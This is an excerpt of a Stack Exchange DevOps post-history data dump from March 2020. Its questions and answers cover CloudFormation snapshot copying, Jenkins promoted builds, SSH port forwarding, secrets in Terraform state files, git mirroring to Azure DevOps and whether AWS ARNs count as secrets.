  <row Id="33944" PostHistoryTypeId="2" PostId="11083" RevisionGUID="20d5f952-751b-437b-971a-f633a040306b" CreationDate="2020-03-16T11:27:16.897" UserId="20074" Text="I have below requirement.&#xD;&#xA;Cloud formation template to copy snapshot from one region to other.&#xD;&#xA;I am using parameters : source, destination region and DB Cluster&#xD;&#xA;Task role , I am using IAM.&#xD;&#xA;&#xD;&#xA;Resources - how to use snapshot&#xD;&#xA;Also how to use COPY in cloud formation.&#xD;&#xA;&#xD;&#xA;If any one has a template, please share, thanks.&#xD;&#xA;&#xD;&#xA;-DevOps guy&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33945" PostHistoryTypeId="1" PostId="11083" RevisionGUID="20d5f952-751b-437b-971a-f633a040306b" CreationDate="2020-03-16T11:27:16.897" UserId="20074" Text="Cloud formation template to copy snapshot from one region to other" ContentLicense="CC BY-SA 4.0" />
  <row Id="33946" PostHistoryTypeId="3" PostId="11083" RevisionGUID="20d5f952-751b-437b-971a-f633a040306b" CreationDate="2020-03-16T11:27:16.897" UserId="20074" Text="&lt;cloud&gt;&lt;aws-cloudformation&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33947" PostHistoryTypeId="13" PostId="11076" RevisionGUID="dd7f6f85-4bdb-42d2-bbf5-e805c184a91a" CreationDate="2020-03-16T13:14:19.360" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="33948" PostHistoryTypeId="5" PostId="11076" RevisionGUID="d1883c53-7591-4b83-8a56-3f61a95f7ccb" CreationDate="2020-03-16T13:15:29.770" UserId="210" Comment="added 53 characters in body" Text="@titou10 created a pull request and solved it in version 3.3.4-rc1.&#xD;&#xA;&#xD;&#xA;This is to inform that the issue has been solved.&#xD;&#xA;&#xD;&#xA;https://github.com/030/n3dr&#xD;&#xA;&#xD;&#xA;https://github.com/030/n3dr/tree/3.3.4-rc1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33949" PostHistoryTypeId="2" PostId="11084" RevisionGUID="72af8ced-548f-45d6-b3dd-d8428656fc78" CreationDate="2020-03-16T14:53:28.130" UserId="9148" Text="I have a request from a user who is currently using the [Promoted Builds][1] plugin for Jenkins. This user would like Job_B to be triggered when a build from Job_A has been promoted.&#xD;&#xA;&#xD;&#xA;In Manage Jenkins &gt; Configure System, there are three &quot;Promotion Levels&quot; defined.&#xD;&#xA;&#xD;&#xA;When I navigate to Job_B &gt; Config, check the &quot;Build when another project is promoted&quot;, and enter the name of Job_A in the Job Name box. However, the &quot;Promotion&quot; drop-down does not populate with any of the three promotion levels. &#xD;&#xA;&#xD;&#xA;[![Screenshot showing the Build when another project is promoted option][2]][2]&#xD;&#xA;&#xD;&#xA;Job_A is a Freestyle job, while Job_A is a Pipeline. I thought this was the source of the issue, but when creating a test FreeStyle job, I still wasn't able to see anything populate the Promotion drop-down. Any idea what I may be missing?&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/pages/viewpage.action?pageId=77889556&#xD;&#xA;  [2]: https://i.stack.imgur.com/f3XSN.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33950" PostHistoryTypeId="1" PostId="11084" RevisionGUID="72af8ced-548f-45d6-b3dd-d8428656fc78" CreationDate="2020-03-16T14:53:28.130" UserId="9148" Text="Unable to Trigger Downstream Jenkins Job Based on the Promoted Builds Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="33951" PostHistoryTypeId="3" PostId="11084" RevisionGUID="72af8ced-548f-45d6-b3dd-d8428656fc78" CreationDate="2020-03-16T14:53:28.130" UserId="9148" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33955" PostHistoryTypeId="5" PostId="11083" RevisionGUID="9b56136f-49ab-41a0-a7dc-1a88e97f28cb" CreationDate="2020-03-16T18:09:11.637" UserId="20048" Comment="removed &quot;thanks&quot; and signature, according to Stack Exchange guidelines." Text="I have below requirement.&#xD;&#xA;&#xD;&#xA;&gt; CloudFormation template to copy snapshot from one region to other.&#xD;&#xA;&#xD;&#xA;I am using parameters : source, destination region and DB Cluster&#xD;&#xA;Task role, I am using IAM.&#xD;&#xA;&#xD;&#xA;Resources - how to use snapshot&#xD;&#xA;Also how to use COPY in CloudFormation.&#xD;&#xA;&#xD;&#xA;If any one has a template, please share." ContentLicense="CC BY-SA 4.0" />
  <row Id="33956" PostHistoryTypeId="4" PostId="11083" RevisionGUID="9b56136f-49ab-41a0-a7dc-1a88e97f28cb" CreationDate="2020-03-16T18:09:11.637" UserId="20048" Comment="removed &quot;thanks&quot; and signature, according to Stack Exchange guidelines." Text="CloudFormation template to copy snapshot from one region to other" ContentLicense="CC BY-SA 4.0" />
  <row Id="33957" PostHistoryTypeId="24" PostId="11083" RevisionGUID="9b56136f-49ab-41a0-a7dc-1a88e97f28cb" CreationDate="2020-03-16T18:09:11.637" Comment="Proposed by 20048 approved by 40 edit id of 1169" ContentLicense="CC BY-SA 4.0" />
  <row Id="33960" PostHistoryTypeId="2" PostId="11086" RevisionGUID="33d08780-b1b2-48dd-82d0-62591923df81" CreationDate="2020-03-17T02:48:52.397" UserId="19071" Text="I have a Windows server 2019 that have many VMs instances (running using HyperV). Each VMs has its own private IP and has some apps running inside and expose via ports.&#xD;&#xA;&#xD;&#xA;It looks like:&#xD;&#xA;&#xD;&#xA;- VM1: running app nodejs port 3000, private ip: 10.10.10.1&#xD;&#xA;&#xD;&#xA;- VM2: running app php port 3001, private ip: 10.10.10.2&#xD;&#xA;&#xD;&#xA;Now I want to setup a secure connection so my colleagues can access the apps inside each vm without expose them to internet, how can I achieve it?&#xD;&#xA;&#xD;&#xA;If using I have a Ubuntu Server and SSH I will use dynamic port forwarding like this article&#xD;&#xA;&#xD;&#xA;https://www.digitalocean.com/community/tutorials/how-to-route-web-traffic-securely-without-a-vpn-using-a-socks-tunnel&#xD;&#xA;&#xD;&#xA;Does Windows have something alternative?&#xD;&#xA;&#xD;&#xA;I have did a lot of tutorials but it seem it does not work for me.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33961" PostHistoryTypeId="1" PostId="11086" RevisionGUID="33d08780-b1b2-48dd-82d0-62591923df81" CreationDate="2020-03-17T02:48:52.397" UserId="19071" Text="Port forwarding for Windows Server like SSH port forwarding" ContentLicense="CC BY-SA 4.0" />
  <row Id="33962" PostHistoryTypeId="3" PostId="11086" RevisionGUID="33d08780-b1b2-48dd-82d0-62591923df81" CreationDate="2020-03-17T02:48:52.397" UserId="19071" Text="&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33963" PostHistoryTypeId="2" PostId="11087" RevisionGUID="80bdc6d7-6175-4918-87c2-7360f2b7fb00" CreationDate="2020-03-17T05:21:45.237" UserId="20243" Text="[Jelastic][1] is definitely a good [multi-cloud alternative PaaS][2] to Heroku, OpenShift, CloudFoundry and others. The platform providers [auto-clustering][3] for multiple software stacks (app server and DBs) and supports [different file storage][4] options. In general, Jelastic project has two main pillars: &#xD;&#xA;&#xD;&#xA; 1. The automation software platform which can be [installed on top of any infrastructure][5] &#xD;&#xA; 2. [The wide network of public cloud providers][6] that offer managed Jelastic PaaS with [pay-per-use][7] model  &#xD;&#xA;&#xD;&#xA;There is a variety of [use cases and white-papers][8] with end users stories.&#xD;&#xA;&#xD;&#xA;Disclaimer: I'm a co-founder of Jelastic project.&#xD;&#xA;&#xD;&#xA;  [1]: https://jelastic.com/&#xD;&#xA;  [2]: https://jelastic.com/blog/forrester-listed-jelastic-among-major-public-cloud-platforms/&#xD;&#xA;  [3]: https://docs.jelastic.com/auto-clustering&#xD;&#xA;  [4]: https://jelastic.com/software-defined-storage/&#xD;&#xA;  [5]: https://jelastic.com/enterprise-paas/#multi-cloud&#xD;&#xA;  [6]: https://jelastic.cloud/&#xD;&#xA;  [7]: https://docs.jelastic.com/pricing-model&#xD;&#xA;  [8]: https://jelastic.com/whitepapers/" ContentLicense="CC BY-SA 4.0" />
  <row Id="33964" PostHistoryTypeId="2" PostId="11088" RevisionGUID="1953d8fe-3c87-4b12-91dc-d85990cc73e8" CreationDate="2020-03-17T05:32:27.463" UserId="20243" Text="You can use special release monitoring tools like https://release-monitoring.org/ to track software stacks updates and notify subscribers or trigger auto update actions.   " ContentLicense="CC BY-SA 4.0" />
  <row Id="33965" PostHistoryTypeId="5" PostId="11086" RevisionGUID="b1491a0d-d0f8-4c78-a031-ca6cb64e729e" CreationDate="2020-03-17T05:50:19.197" UserId="19071" Comment="deleted 6 characters in body" Text="I have a Windows server 2019 that have many VMs instances (running using HyperV). Each VMs has its own private IP and has some apps running inside and expose via ports.&#xD;&#xA;&#xD;&#xA;It looks like:&#xD;&#xA;&#xD;&#xA;- VM1: running app nodejs port 3000, private ip: 10.10.10.1&#xD;&#xA;&#xD;&#xA;- VM2: running app php port 3001, private ip: 10.10.10.2&#xD;&#xA;&#xD;&#xA;Now I want to setup a secure connection so my colleagues can access the apps inside each vm without expose them to internet, how can I achieve it?&#xD;&#xA;&#xD;&#xA;If I have a Ubuntu Server and SSH I will use dynamic port forwarding like this article&#xD;&#xA;&#xD;&#xA;https://www.digitalocean.com/community/tutorials/how-to-route-web-traffic-securely-without-a-vpn-using-a-socks-tunnel&#xD;&#xA;&#xD;&#xA;Does Windows have something alternative?&#xD;&#xA;&#xD;&#xA;I have did a lot of tutorials but it seem it does not work for me.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33969" PostHistoryTypeId="2" PostId="11090" RevisionGUID="c13af539-3f14-40a2-bda1-e1b77d639039" CreationDate="2020-03-17T14:14:40.703" UserId="20251" Text="Part of my IaC that describes my systems for Azure is CosmosDB, and Keyvaults.  Terraform happily created everything and I was able to use an output from CosmosDB (db keys) as an input to the Keyvault (as a keyvault secret) so my db key was safely stored.&#xD;&#xA;&#xD;&#xA;Then I poked through my terraform.tfstate and sure enough, ALL the cosmosdb keys (pri and sec, rw and ro) keys are in there plaintext, as is the plaintext of the vaults secrets.&#xD;&#xA;&#xD;&#xA;So this leaves somewhat of a quandry here  - These state files are apparently integral and they must be maintained (as far as I can tell) but I really dont like the idea of checking them into any repo.  I guess theres no real good solution here other than locally-maintained repos that are redundant as possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33970" PostHistoryTypeId="1" PostId="11090" RevisionGUID="c13af539-3f14-40a2-bda1-e1b77d639039" CreationDate="2020-03-17T14:14:40.703" UserId="20251" Text="Terraform's local state (the 2 tfstate files) contain very sensitive info" ContentLicense="CC BY-SA 4.0" />
  <row Id="33971" PostHistoryTypeId="3" PostId="11090" RevisionGUID="c13af539-3f14-40a2-bda1-e1b77d639039" CreationDate="2020-03-17T14:14:40.703" UserId="20251" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33972" PostHistoryTypeId="2" PostId="11091" RevisionGUID="3abaca1b-566d-40f2-9fee-4cf1522c96d2" CreationDate="2020-03-17T15:24:49.927" UserId="20255" Text="You can use a ssh reverse proxy from any terminal (that has the ssh bin) to communicate with your applications.&#xD;&#xA;&#xD;&#xA;For instance try this on the client side:  &#xD;&#xA;```&#xD;&#xA; ssh -NL 3000:localhost:3000 root@10.10.10.1&#xD;&#xA;```&#xD;&#xA;_This command won't print anything (except prompting for ssh key's password) and won't stop by itself. To kill the reverse proxy you can do ctrl + C_&#xD;&#xA;&#xD;&#xA;Now you should be able to curl your application the following way on the client:&#xD;&#xA;```&#xD;&#xA;curl 127.0.0.1:3000&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33973" PostHistoryTypeId="2" PostId="11092" RevisionGUID="6ccca72d-d045-4e98-bbcc-234e002d45bb" CreationDate="2020-03-17T15:30:05.410" UserId="20253" Text="# Question: &#xD;&#xA;&gt; Are there any benefits to mirroring our git repos outside of Azure devops for a small (~7) team of developers who all work in the same office? &#xD;&#xA;&#xD;&#xA;# Background Information&#xD;&#xA;&#xD;&#xA;I'm a developer who also wears the &quot;DevOps&quot; hat when he has time to do so (all the time right now). We're looking at potentially moving from our self hosted and maintained instance of Gitlab to MS Azure DevOps. My manager has stated he's interested in keeping a &quot;forest of git nodes&quot; for a couple different reasons.&#xD;&#xA;&#xD;&#xA;- One was access control (don't allow certain people to access node 'A')&#xD;&#xA;&#xD;&#xA;- One was that we don't want all of our code in Azure for some reason&#xD;&#xA;&#xD;&#xA;- One is so that we have extra backups of our code base&#xD;&#xA;&#xD;&#xA;- One is because &quot;that's what git was made for, several distributed remotes. That's how Linux does it&quot;&#xD;&#xA;&#xD;&#xA;- If Azure goes down we can still commit to the Gitlab repo and push that up later.&#xD;&#xA;&#xD;&#xA;I think it's easy to tell what MY opinion of us doing this is, but I'd like others input on pros vs cons of going about structuring our git repo's in a way like stated above. From what I can tell he's thinking about the repo structure in one of the two ways shown below:&#xD;&#xA;&#xD;&#xA;[![possibility #1][1]][1]&#xD;&#xA;&#xD;&#xA;[![possibility #2][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My reasoning for wanting to not bother with the mirrored repo's are the following:&#xD;&#xA;&#xD;&#xA;- The entire teams works in the same office, so there's no distribution of associates over multiple geographic regions. I'm also not aware that it would be changing anytime soon.&#xD;&#xA;&#xD;&#xA;- Adds complexity to the development environment.&#xD;&#xA;&#xD;&#xA;- Increases the possibility of code being out of date on one (or both) remotes. (For some background, in times before I was hired source code was getting lost.)&#xD;&#xA;&#xD;&#xA;- Access Control is built into both Azure DevOps AND Gitlab, so we're not getting anything new by doing that.&#xD;&#xA;&#xD;&#xA;- MS Backup and data retention are MUCH MORE comprehensive than what we have going on currently. Moving to them would INCREASE our probability of recovering data in case of emergency.&#xD;&#xA;&#xD;&#xA;- Relatedly, MS SLA is much higher than anything that I can guarantee (99.9%). Switching to Azure gets us that SLA for &quot;free&quot;.&#xD;&#xA;&#xD;&#xA;- Since we're using Git as VCS, we're already working in a &quot;distributed&quot; manner. We don't need a mirror / second remote to push code to when we have the code locally on our machines anyway. We would simply push when connectivity was restored.&#xD;&#xA;&#xD;&#xA;- Admittedly selfish but, I don't want to have to worry about keeping all these tools (Nexus, Gitlab, OpenProject, all of those in containers on an unsupported Linux server that I don't have direct access to) up to date and patched. I'd rather be doing what I was hired to do, which is program.&#xD;&#xA;&#xD;&#xA;With all of the above being said, I'm still open to having my mind changed. I'm new-ish to the development field and am very aware that I could be missing something crucial on why we would need a mirror or multiple remotes.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/B0Kxv.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/kar01.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="33974" PostHistoryTypeId="1" PostId="11092" RevisionGUID="6ccca72d-d045-4e98-bbcc-234e002d45bb" CreationDate="2020-03-17T15:30:05.410" UserId="20253" Text="Necessity of mirroring git repos for small team considering switching to Azure" ContentLicense="CC BY-SA 4.0" />
  <row Id="33975" PostHistoryTypeId="3" PostId="11092" RevisionGUID="6ccca72d-d045-4e98-bbcc-234e002d45bb" CreationDate="2020-03-17T15:30:05.410" UserId="20253" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;gitlab&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33980" PostHistoryTypeId="2" PostId="11094" RevisionGUID="8b9d4cb4-f487-4093-8cce-819fb45a56af" CreationDate="2020-03-17T21:17:32.677" UserId="20101" Text="Do not store your state in anything besides remote backend. Even if you store it in a remote backend the secrets will appear in a plain text again, this is an ongoing Terraform limitation. &#xD;&#xA;&#xD;&#xA;In our case we are using AWS S3 backend ( although we have multi cloud environments ), we've got those key benefits out of the box:&#xD;&#xA;&#xD;&#xA; - Encryption in transit and at rest.&#xD;&#xA; - Access policy configuration.&#xD;&#xA; - Durability and availability close to the maximum.&#xD;&#xA; - Locking capability.&#xD;&#xA; - Versioning.&#xD;&#xA;&#xD;&#xA;Please do not go with `locally-maintained repos that are redundant as possible`." ContentLicense="CC BY-SA 4.0" />
  <row Id="33981" PostHistoryTypeId="5" PostId="5242" RevisionGUID="1765cd0a-b039-4275-9e2b-d7f742cf678e" CreationDate="2020-03-18T00:09:11.493" UserId="10469" Comment="added 113 characters in body" Text="The [su-exec](https://github.com/ncopa/su-exec) program in this script is actually the Alpine version created by Natanael Copa.&#xD;&#xA; &#xD;&#xA;It is installed from the OP's [Dockerfile](https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/Dockerfile) on line 6.&#xD;&#xA;&#xD;&#xA;The Alpine su-exec version is a substitute for [gosu](https://github.com/tianon/gosu). Both programs are used to enable execution of a command as a specific user with the same environment variables and permissions as would normally be available to the user. &#xD;&#xA;&#xD;&#xA;Thus you can effectively &quot;step down&quot; from root inside the container to run a specific command as a user and not as root.&#xD;&#xA;&#xD;&#xA;So the alternative solution in Ubuntu would be to install gosu itself, which has no dependencies, and in the `docker-entrypoint.sh` script use:&#xD;&#xA;&#xD;&#xA;``` bash&#xD;&#xA;gosu &quot;$ZOO_USER&quot; &quot;$@&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(as per @alexey-shrub's comment below)" ContentLicense="CC BY-SA 4.0" />
  <row Id="33982" PostHistoryTypeId="5" PostId="5242" RevisionGUID="e34dbb02-5341-48ab-bb1f-7b418f0a268e" CreationDate="2020-03-18T00:14:47.710" UserId="10469" Comment="edited body" Text="The [su-exec](https://github.com/ncopa/su-exec) program in this script is actually the Alpine version created by Natanael Copa.&#xD;&#xA; &#xD;&#xA;It is installed from the OP's [Dockerfile](https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/Dockerfile) on line 6.&#xD;&#xA;&#xD;&#xA;The Alpine su-exec program is a substitute for [gosu](https://github.com/tianon/gosu). Both programs are used to enable execution of a command as a specific user with the same environment variables and permissions as would normally be available to the user. &#xD;&#xA;&#xD;&#xA;Thus you can effectively &quot;step down&quot; from root inside the container to run a specific command as a user and not as root.&#xD;&#xA;&#xD;&#xA;So the alternative solution in Ubuntu would be to install gosu itself, which has no dependencies, and in the `docker-entrypoint.sh` script use:&#xD;&#xA;&#xD;&#xA;``` bash&#xD;&#xA;gosu &quot;$ZOO_USER&quot; &quot;$@&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(as per @alexey-shrub's comment below)" ContentLicense="CC BY-SA 4.0" />
  <row Id="33984" PostHistoryTypeId="2" PostId="11095" RevisionGUID="4f25d24c-cdae-43eb-a470-95d8601abe51" CreationDate="2020-03-18T04:17:40.310" UserId="14794" Text="I work in Enterprise CloudOps Support and the products we support use Rest API for notifications. Frequently we get requests to help troubleshoot solutions like Pager Duty, PagerTree, ServiceNow, etc. Obviously I can't and won't signup for trials of these products, nor do I need to know them. However, I _do_ need to know how Rest API works and how to set it up. I've been researching it and so far all I've found is this MS DevOps write-up: https://microsoft.github.io/PartsUnlimitedMRP/pandp/200.1x-PandP-LocustTest.html&#xD;&#xA;&#xD;&#xA;However, as of yet [I can't seem to make sense of some of the steps][1]. I thought there must be a better way, so here I am. Ultimately what I'm after is a VM that I can build in a lab and use for testing Rest API calls that relay notifications, alerts, etc.   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://serverfault.com/questions/1007330/cannot-pip-install-flask-in-python3-6-virtual-environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="33985" PostHistoryTypeId="1" PostId="11095" RevisionGUID="4f25d24c-cdae-43eb-a470-95d8601abe51" CreationDate="2020-03-18T04:17:40.310" UserId="14794" Text="How can I build a Linux VM that I can use to test Rest API calls in a lab?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33986" PostHistoryTypeId="3" PostId="11095" RevisionGUID="4f25d24c-cdae-43eb-a470-95d8601abe51" CreationDate="2020-03-18T04:17:40.310" UserId="14794" Text="&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33994" PostHistoryTypeId="2" PostId="11098" RevisionGUID="752964da-841c-41bb-88fc-ab5ab93c7f3a" CreationDate="2020-03-18T11:21:29.503" UserId="20048" Text="As you have realised Git is decentralised by design.&#xD;&#xA;&#xD;&#xA;Using LAN repos&#xD;&#xA;===============&#xD;&#xA;&#xD;&#xA;If Azure DevOps goes down, or your office internet connection, you can still use LAN repos. These could be **simple file shares**. You can also use **emails** to share commits (nothing I've tried but Git has native support for it).&#xD;&#xA;&#xD;&#xA;If you don't have automatic sync (which you can setup using pipelines/CI) between Azure DevOps and GitLab then the most up-to-date repos will reside on the developers computers which makes it easy to push the repo to a new location when needed (simply add the new remote and click push). However, if some repo hasn't been used in a long time it'll probably not exist on any developers computer and you'll therefor not be able to access it.&#xD;&#xA;&#xD;&#xA;If you want to be disaster-ready I'd suggest hosting an **Azure DevOps Server** instance on your LAN that's synced with the cloud. Azure DevOps Server is capable of processing the very same yaml pipelines as the online version. You'd be protected against much more than just Azure DevOps Services outages.&#xD;&#xA;&#xD;&#xA;The maintenance costs of having Azure DevOps Server as a backup for a small team shouldn't be much different than having GitLab as backup.&#xD;&#xA;&#xD;&#xA;*I'm not recommending these solutions, rather I'm just discussing them.*" ContentLicense="CC BY-SA 4.0" />
  <row Id="33995" PostHistoryTypeId="5" PostId="11098" RevisionGUID="bc510546-109a-4c88-97d8-bde40b4d4bb5" CreationDate="2020-03-18T11:31:58.770" UserId="20048" Comment="added 203 characters in body" Text="As you have realised Git is decentralised by design.&#xD;&#xA;&#xD;&#xA;Using LAN repos&#xD;&#xA;===============&#xD;&#xA;&#xD;&#xA;If Azure DevOps goes down, or your office internet connection, you can still use LAN repos. These could be **simple file shares**. You can also use **emails** to share commits; nothing I've tried but Git has native support for it). I have however pushed and pulled commits directly from and to my colleagues computers using file shares (because our online Git provider back then was extremely bad and slow (and the repos were many GB).&#xD;&#xA;&#xD;&#xA;If you don't have automatic sync (which you can setup using pipelines/CI) between Azure DevOps and GitLab then the most up-to-date repos will reside on the developers computers which makes it easy to push the repo to a new location when needed (simply add the new remote and click push). However, if some repo hasn't been used in a long time it'll probably not exist on any developers computer and you'll therefor not be able to access it.&#xD;&#xA;&#xD;&#xA;If you want to be disaster-ready I'd suggest hosting an **Azure DevOps Server** instance on your LAN that's synced with the cloud. Azure DevOps Server is capable of processing the very same yaml pipelines as the online version. You'd be protected against much more than just Azure DevOps Services outages.&#xD;&#xA;&#xD;&#xA;The maintenance costs of having Azure DevOps Server as a backup for a small team shouldn't be much different than having GitLab as backup.&#xD;&#xA;&#xD;&#xA;*I'm not recommending these solutions, rather I'm just discussing them.*" ContentLicense="CC BY-SA 4.0" />
  <row Id="33996" PostHistoryTypeId="2" PostId="11099" RevisionGUID="c1aa38ac-280c-4271-a270-4b37d739df18" CreationDate="2020-03-18T11:36:16.477" UserId="20048" Text="Inspired by https://devops.stackexchange.com/questions/11092/necessity-of-mirroring-git-repos-for-small-team-considering-switching-to-azure:&#xD;&#xA;&#xD;&#xA;How does one use Azure Pipelines to push changes to a secondary/backup origin on push?&#xD;&#xA;&#xD;&#xA;Possible use cases:&#xD;&#xA;&#xD;&#xA;- Need of a backup, like GitLab as backup for Azure Repos.&#xD;&#xA;- LAN-only Azure DevOps Server makes backups to the cloud.&#xD;&#xA;- Global teams wants lower latency and code hosted everywhere." ContentLicense="CC BY-SA 4.0" />
  <row Id="33997" PostHistoryTypeId="1" PostId="11099" RevisionGUID="c1aa38ac-280c-4271-a270-4b37d739df18" CreationDate="2020-03-18T11:36:16.477" UserId="20048" Text="How to push to other origins using Azure Pipelines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33998" PostHistoryTypeId="3" PostId="11099" RevisionGUID="c1aa38ac-280c-4271-a270-4b37d739df18" CreationDate="2020-03-18T11:36:16.477" UserId="20048" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33999" PostHistoryTypeId="5" PostId="11098" RevisionGUID="ec332f77-47ae-4cca-aa0a-6f5e1f03d03d" CreationDate="2020-03-18T11:42:40.407" UserId="20048" Comment="added 192 characters in body" Text="As you have realised Git is decentralised by design.&#xD;&#xA;&#xD;&#xA;Using LAN repos&#xD;&#xA;===============&#xD;&#xA;&#xD;&#xA;If Azure DevOps goes down, or your office internet connection, you can still use LAN repos. These could be **simple file shares**. You can also use **emails** to share commits; nothing I've tried but Git has native support for it). I have however pushed and pulled commits directly from and to my colleagues computers using file shares (because our online Git provider back then was extremely bad and slow (and the repos were many GB).&#xD;&#xA;&#xD;&#xA;If you don't have automatic sync (which you can setup using pipelines/CI) between Azure DevOps and GitLab then the most up-to-date repos will reside on the developers computers which makes it easy to push the repo to a new location when needed (simply add the new remote and click push). However, if some repo hasn't been used in a long time it'll probably not exist on any developers computer and you'll therefor not be able to access it.&#xD;&#xA;&#xD;&#xA;If you want to be disaster-ready I'd suggest hosting an **Azure DevOps Server** instance on your LAN that's synced with the cloud. Azure DevOps Server is capable of processing the very same yaml pipelines as the online version. You'd be protected against much more than just Azure DevOps Services outages.&#xD;&#xA;&#xD;&#xA;The maintenance costs of having Azure DevOps Server as a backup for a small team shouldn't be much different than having GitLab as backup.&#xD;&#xA;&#xD;&#xA;*I'm not recommending these solutions, rather I'm just discussing them.*&#xD;&#xA;&#xD;&#xA;*You might want to have a look at the [Azure DevOps Proxy Server][1].*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/server/install/install-proxy-setup-remote?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="34000" PostHistoryTypeId="50" PostId="3247" RevisionGUID="18c6218c-bc1a-4a6c-92d4-1c8aab982194" CreationDate="2020-03-18T12:01:45.180" UserId="-1" />
  <row Id="34001" PostHistoryTypeId="2" PostId="11100" RevisionGUID="80f304df-0c9a-4f53-b658-043acfee9123" CreationDate="2020-03-18T12:18:20.607" UserId="20048" Text="**Do not** check them into source control.&#xD;&#xA;&#xD;&#xA;**Do** use remote state.&#xD;&#xA;&#xD;&#xA;**Do not** allow user access to production remote state.&#xD;&#xA;&#xD;&#xA;**Do** enforce continuous deployment for production." ContentLicense="CC BY-SA 4.0" />
  <row Id="34003" PostHistoryTypeId="6" PostId="11090" RevisionGUID="81e3c9dd-d447-4bb9-bff8-627c2895d286" CreationDate="2020-03-18T13:27:27.957" UserId="20048" Comment="added relevant tag" Text="&lt;terraform&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34004" PostHistoryTypeId="24" PostId="11090" RevisionGUID="81e3c9dd-d447-4bb9-bff8-627c2895d286" CreationDate="2020-03-18T13:27:27.957" Comment="Proposed by 20048 approved by 40 edit id of 1171" ContentLicense="CC BY-SA 4.0" />
  <row Id="34005" PostHistoryTypeId="2" PostId="11101" RevisionGUID="bab50aef-f66d-40e8-8f37-ee5377c186c1" CreationDate="2020-03-18T15:42:02.310" UserId="4328" Text="I have a configuration file that contains AWS resource arn's stored in a Github repo. This includes some arn's of AWS IAM role resources. Should these be treated as if they are a secret value, and not stored in a code repository? " ContentLicense="CC BY-SA 4.0" />
  <row Id="34006" PostHistoryTypeId="1" PostId="11101" RevisionGUID="bab50aef-f66d-40e8-8f37-ee5377c186c1" CreationDate="2020-03-18T15:42:02.310" UserId="4328" Text="Should AWS arn values be treated as secrets?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34007" PostHistoryTypeId="3" PostId="11101" RevisionGUID="bab50aef-f66d-40e8-8f37-ee5377c186c1" CreationDate="2020-03-18T15:42:02.310" UserId="4328" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34008" PostHistoryTypeId="2" PostId="11102" RevisionGUID="fe0a679d-e03d-4879-b8fb-a77e42425d2f" CreationDate="2020-03-18T17:08:20.027" UserId="16059" Text="Well, from a security point of view, it's never bad to give people less information.&#xD;&#xA;&#xD;&#xA;But, as long as you have sensible security policies in AWS, there is no reason that an arn has to be considered secret.&#xD;&#xA;&#xD;&#xA;For example, if you know the arn of the role I use to access s3 from my EC2 instances, you can't do anything with that information unless I give you permission to assume that role from one of your roles.&#xD;&#xA;&#xD;&#xA;Losing the credentials to an IAM user could let people assume roles and would be terrible, but them knowing the arn alone does nothing for them.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34009" PostHistoryTypeId="5" PostId="11102" RevisionGUID="b528c895-9cea-4a2c-b9f7-62b22fad9907" CreationDate="2020-03-18T17:14:10.583" UserId="16059" Comment="added 124 characters in body" Text="Well, from a security point of view, it's never bad to give people less information.&#xD;&#xA;&#xD;&#xA;But, as long as you have sensible security policies in AWS, there is no reason that an arn has to be considered secret.&#xD;&#xA;&#xD;&#xA;For example, if you know the arn of the role I use to access s3 from my EC2 instances, you can't do anything with that information unless I give you permission to assume that role from one of your roles.  Between accounts, this is a very explicit and bidirectional action; so it will not happen by accident/without you knowing.&#xD;&#xA;&#xD;&#xA;Losing the credentials to an IAM user could let people assume roles and would be terrible, but them knowing the arn alone does nothing for them.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
